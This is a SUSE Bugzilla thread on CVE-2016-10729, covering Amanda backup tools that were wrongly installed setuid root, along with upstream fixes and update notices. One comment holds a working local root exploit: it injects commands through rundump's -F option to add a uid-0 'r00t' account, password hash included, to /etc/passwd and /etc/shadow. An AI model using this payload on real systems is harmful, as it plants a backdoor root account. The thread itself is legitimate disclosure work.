Bugzilla – Bug 1110797
VUL-0: CVE-2016-10729: amanda: Multiple problematic interactions with external commands while running as root
Last modified: 2020-02-27 18:15:58 UTC
The permissions package (20180125-lp150.2.3.1) installs /etc/permissions.easy. The settings in this file set the Amanda tools like planner, dumper etc. to 4750 (setuid root). This breaks a working amanda installation because those tools should not have the SUID bit set, otherwise the tools complain and exit. Even in the "easy" settings the permissions should only be 0750.
so that has been the case for quite a while: https://bugzilla.suse.com/show_bug.cgi?id=523006 Did you see this behavior just recently? What version of openSUSE do you use?
Seems like this is the case since version 3.5.1, so for quite a while. Introduced by 678febf882f9c71a303b752a1963abfe7196a22d: New setuid ambind binary to bind a socket to a priviledge port planner, dumper, amcheck and amservice are no longer setuid Use one thread by client for the connect call So yes, we should also change that. I'm going to look at this next week
Things started to fail on monday. My daily amdanda report then looked like that: -------8<-snip------------- *** THE DUMPS DID NOT FINISH PROPERLY! Org : MyConfig Config : MyConfig Date : ? 2, 0 FAILURE DUMP SUMMARY: driver: FATAL Did not get DATE line from planner ------8<-snip--------------- The hint to the root cause was in the last line. I checked /var/log/zypp/history and found those lines: ------8<-snip---------------- # 2018-09-28 13:25:47 permissions-20180125-lp150.2.3.1.x86_64.rpm installed ok # Additional rpm output: # Updating /etc/sysconfig/security ... # Checking permissions and ownerships - using the permissions files # /etc/permissions # /etc/permissions.easy # /etc/permissions.d/postfix # /etc/permissions.local # setting /var/cache/man/ to man:root 0755. (wrong owner/group man:man) # setting /var/log/lastlog to root:root 0644. (wrong owner/group root:utmp permissions 0664) # setting /usr/sbin/amcheck to root:amanda 4750. (wrong permissions 0750) # setting /usr/lib/amanda/planner to root:amanda 4750. (wrong permissions 0750) # setting /usr/lib/amanda/dumper to root:amanda 4750. (wrong permissions 0750) # 2018-09-28 13:25:47|install|permissions|20180125-lp150.2.3.1|x86_64|root@abg1166c|repo-update|e325ba88cb0442c30083ba8c692c7f15ba6070af1057489c581d235db1244963| ------8<-snip---------------- So it looks like I got an update of the permissions package on Friday and one of the RPM scripts initiated an permission check that then chnged amcheck, planner and dumper to SUID root. Which makes those tools complain and stop working as expected. The problem is that some of the amanda tool seem to need SUID, some not (e.g. runtar). So question is if to adjust the permissions in the files or to remove them completely.
(In reply to Rainer.Koenig@ts.fujitsu.com from comment #3) > So it looks like I got an update of the permissions package on Friday and > one of the RPM scripts initiated an permission check that then chnged amcheck, > planner and dumper to SUID root. Which makes those tools complain and stop > working as expected. Did you change the "PERMISSION_SECURITY" setting in /etc/sysconfig/security recently? I think the update of the permissions package was only a side effect that caused "chkstat --system" to be run. Maybe the amanda package installs itself not correctly. But a look into the RPM spec file looks okay on first sight - except that it explicitly calls `%set_permissions` for a subset of executables only. The amanda spec file also creates a list of setuid binaries in /usr/lib/amanda/suidlist. > The problem is that some of the amanda tool seem to need SUID, some not > (e.g. runtar). So question is if to adjust the permissions in the files or to > remove them completely. At least runtar is also listed in /usr/lib/amanda/suidlist. Maybe something in Amanda also changed that causes this.
Adding amanda maintainer. The original category was for Leap 15, so that is probably the target system here.
(In reply to Matthias Gerstner from comment #4) > Did you change the "PERMISSION_SECURITY" setting in /etc/sysconfig/security > recently? No. I didn't change that file. Nevertheless: abg1166c:~ # ls -l /etc/sysconfig/security -rw-r--r-- 1 root root 1835 28. Sep 13:26 /etc/sysconfig/security abg1166c:~ # rpm -qf /etc/sysconfig/security file /etc/sysconfig/security is not owned by any package So something changed this file last Friday. > I think the update of the permissions package was only a side effect that > caused "chkstat --system" to be run. Maybe the amanda package installs itself > not correctly. But a look into the RPM spec file looks okay on first sight - > except that it explicitly calls `%set_permissions` for a subset of > executables > only. > > The amanda spec file also creates a list of setuid binaries in > /usr/lib/amanda/suidlist. Seen that, looks wrong to me amchech, dumper and planner shouldn't have SUID. Maybe the specfile is outdated.
(In reply to Johannes Segitz from comment #1) > Did you see this behavior just recently? What version of openSUSE do you use? Leap 15.0.
amanda to root with rundump: $ /usr/lib/amanda/rundump NOCONFIG xfsdump -0f /dev/null /sys -F "echo r00t:x:0:0::/:/bin/sh >> /etc/passwd;echo 'r00t:\$6\$4TudW3CnCdkr1/3T\$puys3jVGD.zj65H/EVEObP6EaF7oYrJq8VLX5TuQW.M/1SOW29lLKKlTzQUdlkNezKT/GfQl1te8J6NluT.qI.:17823::::::' >> /etc/shadow;echo" -B 1 # pw is r00t $ su - r00t $ id uid=0(r00t) gid=0(root) groups=0(root) we don't enable --with-rundump, so I think we're not affected. But we still install rundump setuid and are just rescured by it aborting early
Isn't this a backup solution, so it's kind of expected that the system user of this program has similar privileged as root? The suid bits are limited to the amanda group where no regular user is meant to be part of, right? That is just for the amanda user? Upstream seems to be still active so maybe worth talking to them whether there is actually meant to be any kind of argument sanitation. Anyways, removing a backup solution in a service pack better needs very good arguments. I'm not sure this case here justifies to remove amanda from 15.1.
(In reply to Ludwig Nussel from comment #9) It is limited to users that are part of group amanda, yes. I don't expect these users to be able to escalate to root, I would only expect them to be able to back up files. I contacted upstream, but didn't receive a reply back until now. The community around amanda seems dead and zmanda doesn't seem to be responsive. Where do you see an active upstream project? Maybe I missed it. This package doesn't work on 15.0 since the setuid setup changed. Since this is the first bug that raises this issue I don't think this will affect a lot of users if we drop it. Interested users still can get it from OBS
This is an autogenerated message for OBS integration: This bug (1110797) was mentioned in https://build.opensuse.org/request/show/650702 15.0+42.3+Backports:SLE-12+Backports:SLE-15 / amanda
An update workflow for this issue was started. This issue was rated as low. Please submit fixed packages until 2019-01-16. https://swamp.suse.de/webswamp/wf/64198
Upstream released it: Below security issues have been reported in amanda 3.5.1 version by SuSE and Redhat security team. We have resolved the first two issues and the last issue is pending. 1. The patch for CVE-2016-10729 issue used WHITELIST approach to filter the tar arguments for runtar application. During the same time options filtering implementation was done for amgtar, amstar and ambsdtar. But those changes were done using the BLACKLIST approach. And hence option “-F” for amgtar application can be used to get the data that should only be allowed by root user. The similar issue was present with amstar application. 2. The same approach was taken with “rundump” application for exploiting the security issue. “rundump” application was not doing any option filtering. n The changes are made to use the WHITELIST approach i.e. allow only those command options that cannot be exploited for amgtar, amstar and rundump application. 3. Using “—file” option of runtar command, a user can modify the content of a file which should only be accessible by root user. n “—file” option is used to specify archive file or device archive name of the archive file that needs to be created. Hence we cannot filter this option. We need to find a solution to restrict the user from being able to exploit this option to change the content of a file that can only be accessed by root user. Suggestions for the fix are welcome. Below is the link to a private git branch with the fixes. Please review the changes and let us know your review comments. https://github.com/zmanda/amanda/pull/95 The fixes have been committed to following SVN branch. Please test the changes and let us know if you face any issues: svn://svn.code.sf.net/p/amanda/code/amanda/branches/3_5 We intend to release the patch for amanda community_3_5_2 within the next two weeks.
*** Bug 1112916 has been marked as a duplicate of this bug. ***
SUSE-RU-2019:1471-1: An update that has one recommended fix can now be installed. Category: recommended (moderate) Bug References: 1110797 CVE References: Sources used: SUSE Linux Enterprise Module for Basesystem 15 (src): permissions-20180125-3.9.1 NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.
SUSE-RU-2019:1475-1: An update that has one recommended fix can now be installed. Category: recommended (moderate) Bug References: 1110797 CVE References: Sources used: SUSE Linux Enterprise Server 12-SP4 (src): permissions-20170707-3.3.1 SUSE Linux Enterprise Desktop 12-SP4 (src): permissions-20170707-3.3.1 NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.
SUSE-RU-2019:1474-1: An update that has one recommended fix can now be installed. Category: recommended (moderate) Bug References: 1110797 CVE References: Sources used: SUSE Linux Enterprise Server 12-SP3 (src): permissions-2015.09.28.1626-17.15.1 SUSE Linux Enterprise Desktop 12-SP3 (src): permissions-2015.09.28.1626-17.15.1 SUSE CaaS Platform ALL (src): permissions-2015.09.28.1626-17.15.1 SUSE CaaS Platform 3.0 (src): permissions-2015.09.28.1626-17.15.1 OpenStack Cloud Magnum Orchestration 7 (src): permissions-2015.09.28.1626-17.15.1 NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.
openSUSE-RU-2019:1565-1: An update that has one recommended fix can now be installed. Category: recommended (moderate) Bug References: 1110797 CVE References: Sources used: openSUSE Leap 42.3 (src): permissions-2015.09.28.1626-22.1
openSUSE-RU-2019:1564-1: An update that has one recommended fix can now be installed. Category: recommended (moderate) Bug References: 1110797 CVE References: Sources used: openSUSE Leap 15.0 (src): permissions-20180125-lp150.2.10.1
The SLE-11 submission had bsc#1112916 as a reference and not this bug. Closing CVE-2016-10729 as fixed.
SUSE-RU-2019:2626-1: An update that has one recommended fix can now be installed. Category: recommended (moderate) Bug References: 1110797 CVE References: Sources used: SUSE Linux Enterprise Module for Basesystem 15-SP1 (src): permissions-20181116-9.6.1 NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.
openSUSE-RU-2019:2320-1: An update that has one recommended fix can now be installed. Category: recommended (moderate) Bug References: 1110797 CVE References: Sources used: openSUSE Leap 15.1 (src): permissions-20181116-lp151.4.6.1
openSUSE-RU-2020:0081-1: An update that has one recommended fix can now be installed. Category: recommended (moderate) Bug References: 1110797 CVE References: Sources used: openSUSE Leap 15.1 (src): amanda-3.5.1-lp151.5.3.1 openSUSE Backports SLE-15 (src): amanda-3.5.1-bp150.2.3.3
openSUSE-RU-2020:0129-1: An update that has one recommended fix can now be installed. Category: recommended (moderate) Bug References: 1110797 CVE References: Sources used: openSUSE Backports SLE-15-SP1 (src): amanda-3.5.1-bp151.4.3.7
SUSE-RU-2020:0518-1: An update that has one recommended fix can now be installed. Category: recommended (low) Bug References: 1110797 CVE References: Sources used: SUSE Linux Enterprise Software Development Kit 12-SP5 (src): rpmlint-mini-1.8-2.15.1 SUSE Linux Enterprise Software Development Kit 12-SP4 (src): rpmlint-mini-1.8-2.15.1 NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.